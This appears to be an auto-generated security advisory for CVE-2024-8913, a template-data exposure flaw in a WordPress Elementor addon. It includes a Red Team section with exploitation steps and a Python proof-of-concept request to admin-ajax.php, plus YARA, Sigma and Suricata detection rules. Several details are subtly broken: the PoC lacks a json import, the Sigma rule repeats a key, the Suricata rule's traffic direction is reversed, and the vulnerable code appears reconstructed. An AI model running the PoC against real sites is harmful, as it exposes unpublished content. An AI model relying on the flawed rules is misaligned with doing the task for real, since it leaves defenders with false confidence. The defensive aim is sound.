CVE-2024-8913

Executive Summary

CVE-2024-8913 is a Sensitive Information Exposure vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 5.6.11. The flaw resides in the render function within modules/widgets/tp_accordion.php, allowing authenticated attackers with Contributor-level access or higher to extract sensitive data from private, pending, and draft templates. This exposure can lead to information disclosure, potentially revealing business logic, unpublished content, or staging data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the The Plus Addons for Elementor plugin. It is not a package manager (NPM, PyPI, Go, Ruby) issue. The plugin is distributed via the WordPress plugin repository and directly by the vendor. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of template data)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to extract draft and pending template data can be leveraged for reconnaissance or to leak sensitive business information.

Deep Dive & Mechanics

The vulnerability is located in the tp_accordion widget of The Plus Addons for Elementor. The render function in modules/widgets/tp_accordion.php does not properly restrict access to template data based on post status. When rendering accordion items, the plugin retrieves templates without checking if they are published, private, pending, or draft. An authenticated user with Contributor-level access can trigger the rendering of these templates, thereby exposing their content.

Root Cause: Lack of authorization checks on the render function for template retrieval. The function uses get_post() or similar WordPress functions without verifying the post status or user capabilities beyond the basic edit_posts capability.

Attack Flow:

1. Attacker authenticates with Contributor-level credentials.
2. Attacker crafts a request to a page or post using the tp_accordion widget.
3. The widget's render function is invoked, which loads templates based on user input or stored settings.
4. The function retrieves templates without filtering by publish status, exposing private, pending, or draft templates.
5. The content of these templates is rendered in the response, visible to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.6.11):

// modules/widgets/tp_accordion.php
public function render() {
    // ... widget setup ...
    $template_id = $this->get_settings('template_id');
    if ($template_id) {
        $template = get_post($template_id);
        // No check for post_status or user capability
        echo $template->post_content;
    }
}

Patched Code (Hypothetical):

// modules/widgets/tp_accordion.php
public function render() {
    // ... widget setup ...
    $template_id = $this->get_settings('template_id');
    if ($template_id) {
        $template = get_post($template_id);
        // Check if template is published or user has appropriate capabilities
        if ($template && ($template->post_status === 'publish' || current_user_can('read_private_posts'))) {
            echo $template->post_content;
        }
    }
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with The Plus Addons for Elementor <= 5.6.11.
• User account with Contributor-level access.

Exploitation Steps:

1. Log in as a Contributor.
2. Create or edit a page/post and add the tp_accordion widget.
3. In the widget settings, set the template ID to a private, pending, or draft template.
4. Save and view the page. The template content will be rendered.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"
nonce = "your_nonce_here"  # Obtain from page source
template_id = 123  # ID of a private/draft template

payload = {
    "action": "elementor_ajax",
    "nonce": nonce,
    "actions": json.dumps({
        "render_widget": {
            "widget_type": "tp-accordion",
            "settings": {
                "template_id": template_id
            }
        }
    })
}

response = requests.post(target_url, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual requests to admin-ajax.php with action=elementor_ajax and widget_type=tp-accordion.
• Look for template IDs that correspond to non-published posts.
• Audit user activity logs for Contributor-level users accessing template data.

Hunting:

• Search for tp_accordion in page/post content.
• Check for template IDs in widget settings that are not published.

Indicators of Compromise (IOCs)

• File: modules/widgets/tp_accordion.php (version <= 5.6.11)
• Log Entry: POST /wp-admin/admin-ajax.php with action=elementor_ajax and widget_type=tp-accordion
• Network: Requests containing template_id parameter with non-published post IDs.
• User Agent: Any standard browser or automated tool.

Detection Engineering

YARA Rule

rule CVE_2024_8913_Plus_Addons_Elementor {
    meta:
        description = "Detects vulnerable version of The Plus Addons for Elementor plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8913"
    strings:
        $vuln_func = "render()" nocase
        $vuln_file = "tp_accordion.php" nocase
        $vuln_version = "Version: 5.6.11" nocase
    condition:
        $vuln_file and $vuln_func and $vuln_version
}

Sigma Rule

title: CVE-2024-8913 - Sensitive Information Exposure via The Plus Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-8913 by monitoring for requests to admin-ajax.php with tp-accordion widget.
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'widget_type=tp-accordion'
    condition: selection
falsepositives:
    - Legitimate use of the widget by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8913 - The Plus Addons for Elementor Sensitive Information Exposure";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=elementor_ajax";
    http_client_body;
    content:"widget_type=tp-accordion";
    http_client_body;
    sid:1000001;
    rev:1;
    metadata:author "Valters IT", reference "CVE-2024-8913";
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential until a patch is available.
2. Restrict Contributor-level access to only trusted users.
3. Use a Web Application Firewall (WAF) to block requests containing widget_type=tp-accordion in admin-ajax.php.

Long-term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Monitor the vendor's website for an official update.
• Consider using a different Elementor addon plugin if no patch is released.

Workaround:

• Add a custom filter to elementor/widget/render_content to check template status before rendering.

Valters IT